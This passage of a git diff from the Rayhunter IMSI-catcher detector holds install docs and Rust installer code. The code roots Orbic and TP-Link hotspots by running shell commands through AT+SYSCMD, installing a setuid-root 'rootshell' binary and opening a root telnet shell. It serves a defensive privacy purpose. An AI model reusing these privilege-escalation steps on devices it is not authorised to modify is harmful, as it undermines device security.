invoke-webrequest "https://dl.google.com/android/repository/platform-tools-latest-windows.zip" -outfile ./platform-tools-latest-windows.zip
expand-archive -force -path "platform-tools-latest-windows.zip"
}
if (-not (test-path -path $global:serial)) {
write-error "can't find serial, aborting"
return
}
if (-not (test-path -path $global:adb)) {
get_android_tools
}
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter
```
+34
View File
@@ -0,0 +1,34 @@
# Installing from the latest release
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
2. Decompress the `release.tar` archive. Open the terminal and navigate to the folder
```bash
mkdir ~/Downloads/release
tar -xvf ~/Downloads/release.tar -C ~/Downloads/release
cd ~/Downloads/release
```
3. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable.
* For TP-Link, connect to its network using either WiFi or USB Tethering.
4. Run the install script for your operating system:
```bash
./install orbic
# or: ./install tplink
```
The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `Testing rayhunter... done`
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device.
## Troubleshooting
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
+51
View File
@@ -0,0 +1,51 @@
# Installing from source
Building Rayhunter from source, either for development or because the install script doesn't work on your system, involves a number of external dependencies. Unless you need to do this, we recommend you use our [compiled builds](https://github.com/EFForg/rayhunter/releases).
* Install [nodejs/npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm), which is required to build Rayhunter's web UI
* Make sure to build the site with `cd bin/web && npm install && npm run build` before building Rayhunter. If you're working directly on the frontend, `npm run dev` will allow you to test a local frontend with hot-reloading (use `http://localhost:5173` instead of `http://localhost:8080`).
* Install ADB on your computer using the instructions above, and make sure it's in your terminal's PATH
* You can verify if ADB is in your PATH by running `which adb` in a terminal. If it prints the filepath to where ADB is installed, you're set! Otherwise, try following one of these guides:
* [linux](https://askubuntu.com/questions/652936/adding-android-sdk-platform-tools-to-path-downloaded-from-umake)
* [macOS](https://www.repeato.app/setting-up-adb-on-macos-a-step-by-step-guide/)
* [Windows](https://medium.com/@yadav-ajay/a-step-by-step-guide-to-setting-up-adb-path-on-windows-0b833faebf18)
* Install `curl` on your computer to run the install scripts. It is not needed to build binaries.
### Install Rust targets
[Install Rust the usual way](https://www.rust-lang.org/tools/install). Then,
- install the cross-compilation target for the device rayhunter will run on:
```sh
rustup target add armv7-unknown-linux-musleabihf
```
- install the statically compiled target for your host machine to build the binary installer `serial`.
```sh
# check which toolchain you have installed by default with
rustup show
# now install the correct variant for your host platform, one of:
rustup target add x86_64-unknown-linux-musl
rustup target add aarch64-unknown-linux-musl
rustup target add aarch64-apple-darwin
rustup target add x86_64-apple-darwin
rustup target add x86_64-pc-windows-gnu
```
Now you can root your device and install Rayhunter by running:
```sh
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
cargo run --bin installer orbic
```
### If you're on Windows or can't run the install scripts
* Root your device on Windows using the instructions here: <https://xdaforums.com/t/resetting-verizon-orbic-speed-rc400l-firmware-flash-kajeet.4334899/#post-87855183>
* Build the web UI using `cd bin/web && npm install && npm run build`
* Push the scripts in `scripts/` to `/etc/init.d` on device and make a directory called `/data/rayhunter` using `adb shell` (and sshell for your root shell if you followed the steps above)
* You also need to copy `config.toml.example` to `/data/rayhunter/config.toml`
* Then run `./make.sh`, which will build the binary, push it over adb, and restart the device. Once it's restarted, Rayhunter should be running!
+13
View File
@@ -0,0 +1,13 @@
![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png)
# Rayhunter
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
It's also designed to be as easy to install and use as possible, regardless of you level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying). Otherwise, check out the [installation guide](./installation.md) to get started.
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
*Good Hunting!*
+20
View File
@@ -0,0 +1,20 @@
# Orbic RC400L
The Orbic RC400L is an inexpensive LTE modem primarily designed for the US marked, and the original device for which Rayhunter is developed.
You can buy an Orbic [using bezos
bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
[Please check whether the Orbic works in your country](https://www.frequencycheck.com/countries/), and whether the Orbic RC400L supports the right frequency bands for your purpose before buying.
## Supported Bands
| Frequency | Band |
| ------- | ------------------ |
| 5G (wideband,midband,nationwide) | n260/n261, n77, n2/5/48/66 |
| 4G | 2/4/5/12/13/48/66 |
| Global & Roaming | n257/n78 |
| Wifi 2.4Ghz | b/g/n |
| Wifi 5Ghz | a/ac/ax |
| Wifi 6 | 🮱 |
+8
View File
@@ -0,0 +1,8 @@
# Support, Feedback, and Community
If you're using Rayhunter (or trying to), we'd love to hear from you! Check out one of the following forums for contacting the Rayhunter developers and community:
* If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
* If you're having issues installing or using Rayhunter, please [open an issue](https://github.com/EFForg/rayhunter/issues) on our Github repo.
* If you'd like to propose a feature, heuristic, or device for Rayhunter, [start a discussion](https://github.com/EFForg/rayhunter/discussions) in our Github repo
* For anything else, join us in the `#rayhunter` or `#rayhunter-developers` channel of [EFF's Mattermost](https://opensource.eff.org/signup_user_complete/?id=r1b6cnta9bysxk6im3kuabiu1y&md=link&sbr=su) instance to chat!
+8
View File
@@ -0,0 +1,8 @@
# Supported devices
Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it.
If you have a device in mind which you'd like Rayhunter to support, please [open a discussion on our Github](https://github.com/EFForg/rayhunter/discussions)!
- [Orbic RC400L](./orbic.md)
- [TP-Link M7350](./tplink-m7350.md)
+54
View File
@@ -0,0 +1,54 @@
# TP-Link M7350
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe.
You can get it from:
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there.
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
## Installation & Usage
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell:
```sh
./installer util tplink-start-telnet
telnet 192.168.0.1
```
## Display states
If your device has a color display, Rayhunter will show the same
red/green/white line at the top of the display as it does on Orbic, each color
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
If your device has a one-bit (black-and-white) display, Rayhunter will instead
show an emoji to indicate status:
* `!` means "warning (potential IMSI catcher)"
* `:)` (smiling) means "recording"
* `:` (face with no mouth) means "paused"
## Hardware versions
The TP-Link comes in many different *hardware versions*. Support for installation varies:
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
* `9.0`: Recording might be broken, could be fixed if there is demand.
TP-Link versions newer than `3.0` have cyan packaging and a color display.
Version `3.0` has a one-bit display and white packaging.
You can find the exact hardware version of each device under the battery or
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
When filing bug reports, particularly with the installer, please always
specify the exact hardware version.
## Other links
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
+19
View File
@@ -0,0 +1,19 @@
# Uninstalling
## Orbic
To uninstall Rayhunter, power on your Orbic device and connect to it via USB. Then, start a rootshell on it by running `adb shell`, followed by `rootshell`.
Once in a rootshell, run:
```shell
echo 3 > /usrdata/mode.cfg
rm -rf /data/rayhunter /etc/init.d/rayhunter-daemon /bin/rootshell.sh
reboot
```
Your device is now Rayhunter-free, and should no longer be in a rooted ADB-enabled mode.
## TPLink
TODO
+3
View File
@@ -0,0 +1,3 @@
# Updating Rayhunter
Great news: if you've successfully installed rayhunter, you already know how to update it! Our update process is identical to the installation process: simply repeat the steps for installing Rayhunter via a [release](./installing-from-release.md) or from [source](./installing-from-source.md).
+20
View File
@@ -0,0 +1,20 @@
# Using Rayhunter
Once installed, Rayhunter will run automatically whenever your device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, delete captures, and view heuristic analyses of captures.
You can access this UI in one of two ways:
* **Connect over wifi:** Connect your phone/laptop to your device's wifi
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.
Executable
+10
View File
@@ -0,0 +1,10 @@
#!/bin/bash -e
pushd bin/web
npm run build
popd
#docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv sh -c 'cargo build --release --target="armv7-unknown-linux-gnueabihf"'
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
echo "rebooting the device..."
adb shell '/bin/rootshell -c "reboot"'
+32
View File
@@ -0,0 +1,32 @@
[package]
name = "installer"
version = "0.3.0"
edition = "2024"
[dependencies]
anyhow = "1.0.98"
axum = "0.8.3"
bytes = "1.10.1"
clap = { version = "4.5.37", features = ["derive"] }
hyper = "1.6.0"
hyper-util = "0.1.11"
md5 = "0.7.0"
nusb = "0.1.13"
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
serde = { version = "1.0.219", features = ["derive"] }
sha2 = "0.10.8"
tokio = { version = "1.44.2", features = ["full"] }
tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17"
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
default-features = false
features = ["trans-nusb"]
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
default-features = false
features = ["trans-libusb"]
+45
View File
@@ -0,0 +1,45 @@
use core::str;
use std::path::Path;
use std::process::exit;
fn main() {
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
let include_dir = Path::new(concat!(
env!("CARGO_MANIFEST_DIR"),
"/../target/armv7-unknown-linux-musleabihf/release/"
));
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var(
&include_dir,
"FILE_RAYHUNTER_DAEMON_ORBIC",
"rayhunter-daemon",
);
set_binary_var(
&include_dir,
"FILE_RAYHUNTER_DAEMON_TPLINK",
"rayhunter-daemon",
);
}
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::create_dir_all(&out_dir).unwrap();
let blank = Path::new(&out_dir).join("blank");
std::fs::write(&blank, &[]).unwrap();
println!("cargo::rustc-env={var}={}", blank.display());
return;
}
if std::env::var_os(var).is_none() {
let binary = include_dir.join(file);
if !binary.exists() {
println!(
"cargo::error=Firmware binary {file} not present at {}",
binary.display()
);
exit(0);
}
println!("cargo::rustc-env={var}={}", binary.display());
println!("cargo::rerun-if-changed={}", binary.display());
}
}
+110
View File
@@ -0,0 +1,110 @@
use anyhow::{Context, Error, bail};
use clap::{Parser, Subcommand};
mod orbic;
mod tplink;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
#[derive(Parser, Debug)]
#[command(version, about)]
struct Args {
#[command(subcommand)]
command: Command,
}
#[derive(Subcommand, Debug)]
enum Command {
/// Install rayhunter on the Orbic Orbic RC400L.
Orbic(InstallOrbic),
/// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink),
/// Developer utilities.
Util(Util),
}
#[derive(Parser, Debug)]
struct InstallTpLink {
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
/// that if an SD card is later added, your existing installation is shadowed!
#[arg(long)]
skip_sdcard: bool,
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct InstallOrbic {}
#[derive(Parser, Debug)]
struct Util {
#[command(subcommand)]
command: UtilSubCommand,
}
#[derive(Subcommand, Debug)]
enum UtilSubCommand {
/// Send a serial command to the Orbic.
Serial(Serial),
/// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet),
}
#[derive(Parser, Debug)]
struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct Serial {
#[arg(long)]
root: bool,
command: Vec<String>,
}
async fn run() -> Result<(), Error> {
let Args { command } = Args::parse();
match command {
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root {
if !serial_cmd.command.is_empty() {
eprintln!("You cannot use --root and specify a command at the same time");
std::process::exit(64);
}
orbic::enable_command_mode()?;
} else if serial_cmd.command.is_empty() {
eprintln!("Command cannot be an empty string");
std::process::exit(64);
} else {
let cmd = serial_cmd.command.join(" ");
match orbic::open_orbic()? {
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
None => bail!(orbic::ORBIC_NOT_FOUND),
}
}
}
UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?;
}
}
}
Ok(())
}
#[tokio::main]
async fn main() {
if let Err(e) = run().await {
eprintln!("{e:?}");
std::process::exit(1);
}
}
+457
View File
@@ -0,0 +1,457 @@
use std::io::{ErrorKind, Write};
use std::path::Path;
use std::time::Duration;
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
use anyhow::{Context, Result, anyhow, bail};
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use nusb::{Device, Interface};
use sha2::{Digest, Sha256};
use tokio::time::sleep;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
Make sure your device is plugged in and turned on.
If you're sure you've plugged in an Orbic device via USB, there may be a bug in
our installer. Please file a bug with the output of `lsusb` attached."#;
const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program.
Please close any program that might be using your USB devices.
If you have adb installed you may need to kill the adb daemon"#;
#[cfg(target_os = "macos")]
const ORBIC_BUSY_MAC: &str = r#"Permission denied.
On macOS this might be caused by another program using the Orbic.
Please close any program that might be using your Orbic.
If you have adb installed you may need to kill the adb daemon"#;
const VENDOR_ID: u16 = 0x05c6;
const PRODUCT_ID: u16 = 0xf601;
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub async fn install() -> Result<()> {
let mut adb_device = force_debug_mode().await?;
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
echo!("Installing rootshell... ");
setup_rootshell(&serial_interface, &mut adb_device).await?;
println!("done");
echo!("Installing rayhunter... ");
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?;
println!("done");
echo!("Testing rayhunter... ");
test_rayhunter(&mut adb_device).await?;
println!("done");
Ok(())
}
async fn force_debug_mode() -> Result<ADBUSBDevice> {
println!("Forcing a switch into the debug mode to enable ADB");
enable_command_mode()?;
echo!("ADB enabled, waiting for reboot... ");
let mut adb_device = get_adb().await?;
println!("it's alive!");
echo!("Waiting for atfwd_daemon to startup... ");
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
println!("done");
Ok(adb_device)
}
async fn setup_rootshell(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
) -> Result<()> {
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
install_file(
serial_interface,
adb_device,
"/bin/rootshell",
rootshell_bin,
)
.await?;
tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chown root /bin/rootshell").await?;
tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?;
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
if !output.contains("uid=0") {
bail!("rootshell is not giving us root.");
}
Ok(())
}
async fn setup_rayhunter(
serial_interface: &Interface,
mut adb_device: ADBUSBDevice,
) -> Result<ADBUSBDevice> {
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?;
install_file(
serial_interface,
&mut adb_device,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/data/rayhunter/config.toml",
CONFIG_TOML.as_bytes(),
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
)
.await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?;
println!("done");
echo!("Waiting for reboot... ");
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?;
// first wait for shutdown (it can take ~10s)
tokio::time::timeout(Duration::from_secs(30), async {
while let Ok(dev) = adb_echo_test(adb_device).await {
adb_device = dev;
sleep(Duration::from_secs(1)).await;
}
})
.await
.context("Orbic took too long to shutdown")?;
// now wait for boot to finish
get_adb().await
}
async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
const MAX_FAILURES: u32 = 10;
let mut failures = 0;
while failures < MAX_FAILURES {
if let Ok(output) = adb_command(
adb_device,
&["wget", "-O", "-", "http://localhost:8080/index.html"],
) {
if output.contains("html") {
return Ok(());
}
}
failures += 1;
sleep(Duration::from_secs(3)).await;
}
bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
}
async fn install_file(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
dest: &str,
payload: &[u8],
) -> Result<()> {
const MAX_FAILURES: u32 = 5;
let mut failures = 0;
loop {
match install_file_impl(serial_interface, adb_device, dest, payload).await {
Ok(()) => return Ok(()),
Err(e) => {
if failures > MAX_FAILURES {
return Err(e);
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
}
}
}
async fn install_file_impl(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
dest: &str,
mut payload: &[u8],
) -> Result<()> {
let file_name = Path::new(dest)
.file_name()
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
.to_str()
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
.to_owned();
let push_tmp_path = format!("/tmp/{file_name}");
let mut hasher = Sha256::new();
hasher.update(payload);
let file_hash_bytes = hasher.finalize();
let file_hash = format!("{file_hash_bytes:x}");
adb_device.push(&mut payload, &push_tmp_path)?;
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?;
let file_info = adb_device
.stat(dest)
.context("Failed to stat transfered file")?;
if file_info.file_size == 0 {
bail!("File transfer unseccessful\nFile is empty");
}
let ouput = adb_command(adb_device, &["sha256sum", dest])?;
if !ouput.contains(&file_hash) {
bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}");
}
Ok(())
}
fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result<String> {
let mut buf = Vec::<u8>::new();
adb_device.shell_command(command, &mut buf)?;
Ok(String::from_utf8_lossy(&buf).into_owned())
}
/// Creates an ADB interface instance.
///
/// This function waits for the ADB device then checks that an ADB shell command runs.
async fn get_adb() -> Result<ADBUSBDevice> {
const MAX_FAILURES: u32 = 10;
let mut failures = 0;
loop {
match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
Ok(dev) => match adb_echo_test(dev).await {
Ok(dev) => return Ok(dev),
Err(e) => {
if failures > MAX_FAILURES {
return Err(e);
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
},
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
bail!(ORBIC_BUSY);
}
#[cfg(target_os = "macos")]
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
bail!(ORBIC_BUSY_MAC);
}
Err(RustADBError::DeviceNotFound(_)) => {
tokio::time::timeout(
Duration::from_secs(30),
wait_for_usb_device(VENDOR_ID, PRODUCT_ID),
)
.await
.context("Timeout waiting for Orbic to reconnect")??;
}
Err(e) => {
if failures > MAX_FAILURES {
return Err(e.into());
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
}
}
}
async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
let mut buf = Vec::<u8>::new();
// Random string to echo
let test_echo = "qwertyzxcvbnm";
let thread = std::thread::spawn(move || {
// This call to run a shell command is run on a separate thread because it can block
// indefinitely until the command runs, which is undesirable.
adb_device.shell_command(&["echo", test_echo], &mut buf)?;
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
});
sleep(Duration::from_secs(1)).await;
if thread.is_finished() {
if let Ok(Ok((dev, buf))) = thread.join() {
if let Ok(s) = std::str::from_utf8(&buf) {
if s.contains(test_echo) {
return Ok(dev);
}
}
}
}
// I'd like to kill the background thread here if that was possible.
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
}
#[cfg(not(target_os = "macos"))]
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
use nusb::hotplug::HotplugEvent;
use tokio_stream::StreamExt;
loop {
let mut watcher = nusb::watch_devices()?;
while let Some(event) = watcher.next().await {
if let HotplugEvent::Connected(dev) = event {
if dev.vendor_id() == vendor_id && dev.product_id() == product_id {
return Ok(());
}
}
}
}
}
#[cfg(target_os = "macos")]
/// `nusb::watch_devices` doesn't appear to work on macOS to poll instead.
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
loop {
for device_info in nusb::list_devices()? {
if device_info.vendor_id() == vendor_id && device_info.product_id() == product_id {
return Ok(());
}
}
tokio::time::sleep(Duration::from_secs(1)).await;
}
}
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> {
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await
}
/// Sends an AT command to the usb device over the serial port
///
/// First establish a USB handle and context by calling `open_orbic(<T>)
pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> {
let mut data = String::new();
data.push_str("\r\n");
data.push_str(command);
data.push_str("\r\n");
let timeout = Duration::from_secs(2);
let enable_serial_port = Control {
control_type: ControlType::Class,
recipient: Recipient::Interface,
request: 0x22,
value: 3,
index: 1,
};
// Set up the serial port appropriately
interface
.control_out_blocking(enable_serial_port, &[], timeout)
.context("Failed to send control request")?;
// Send the command
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
.await
.context("Timed out writing command")?
.into_result()
.context("Failed to write command")?;
// Consume the echoed command
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading submitted command")?
.into_result()
.context("Failed to read submitted command")?;
// Read the actual response
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading response")?
.into_result()
.context("Failed to read response")?;
// For some reason, on macOS the response buffer gets filled with garbage data that's
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
// the garbage with `from_utf8_lossy` and look for our expected success string.
let responsestr = String::from_utf8_lossy(&response);
if !responsestr.contains("\r\nOK\r\n") {
bail!("Received unexpected response: {0}", responsestr);
}
Ok(())
}
/// Send a command to switch the device into generic mode, exposing serial
///
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
pub fn enable_command_mode() -> Result<()> {
if open_orbic()?.is_some() {
println!("Device already in command mode. Doing nothing...");
return Ok(());
}
let timeout = Duration::from_secs(1);
if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? {
let enable_command_mode = Control {
control_type: ControlType::Vendor,
recipient: Recipient::Device,
request: 0xa0,
value: 0,
index: 0,
};
let interface = device
.detach_and_claim_interface(1)
.context("detach_and_claim_interface(1) failed")?;
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
// If the device reboots while the command is still executing we
// may get a pipe error here
if e == nusb::transfer::TransferError::Stall {
return Ok(());
}
bail!("Failed to send device switch control request: {0}", e)
}
return Ok(());
}
bail!(ORBIC_NOT_FOUND);
}
/// Get an Interface for the orbic device
pub fn open_orbic() -> Result<Option<Interface>> {
// Device after initial mode switch
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
// Device with rndis enabled as well
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
Ok(None)
}
/// General function to open a USB device
fn open_usb_device(vid: u16, pid: u16) -> Result<Option<Device>> {
let devices = match nusb::list_devices() {
Ok(d) => d,
Err(_) => return Ok(None),
};
for device in devices {
if device.vendor_id() == vid && device.product_id() == pid {
match device.open() {
Ok(d) => return Ok(Some(d)),
Err(e) => bail!("device found but failed to open: {}", e),
}
}
}
Ok(None)
}
+343
View File
@@ -0,0 +1,343 @@
use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Error};
use axum::{
Router,
body::{Body, to_bytes},
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout};
use crate::InstallTpLink;
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
pub async fn main_tplink(
InstallTpLink {
skip_sdcard,
admin_ip,
}: InstallTpLink,
) -> Result<(), Error> {
start_telnet(&admin_ip).await?;
tplink_run_install(skip_sdcard, admin_ip).await
}
#[derive(Deserialize)]
struct V3RootResponse {
result: u64,
}
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
